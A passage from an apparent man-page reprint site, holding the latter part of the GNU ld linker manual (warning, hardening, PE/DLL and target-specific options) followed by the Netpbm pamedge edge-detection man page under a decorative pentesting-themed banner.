int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

399 - Linux cli command pamedge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamedge and provides detailed information about the command pamedge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamedge.

.

NAME 🖥️ pamedge 🖥️

edge-detect an image

SYNOPSIS

pamedge [imagefile]

DESCRIPTION

This program is part of Netpbm(1) .

pamedge reads a Netpbm image (PNM or PAM) and produces an image that outlines the edges.

The output image is of the same type as the input, except that the maxval of the output is at least 255 and if the input is PBM, the output is PGM.

You can pipe the result through pamditherbw -threshold and play with the threshold value to get a PBM (bilevel image) of the edges.

The edge detection technique used is to take the Pythagorean sum of two Sobel gradient operators at 90 degrees to each other. For more details see “Digital Image Processing” by Gonzalez and Wintz, chapter 7.

The maxval of the output is the same as the maxval of the input, except at least 255. The effect is better with larger maxvals, so you may want to increase the maxval of the input by running it through pamdepth first.

OPTIONS

There are no command line options defined specifically for pamedge, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgmenhance(1) , pamditherbw(1) , pamdepth(1) , pammasksharpen(1) , pamsharpness(1) , pamsharpmap(1) , pam(1) , pnm(1)

HISTORY

pamedge was added to Netpbm in Release 10.14 (March 2003). It replaced pgmedge, which was the same thing, but worked only on PGM and PBM images.

AUTHOR

Copyright (C) 1991 by Jef Poskanzer. Adapted to pnmedge Peter Kichgessner in 1995, and then to pamedge by Bryan Henderson in 2003.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamedge.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

400 - Linux cli command pamshadedrelief

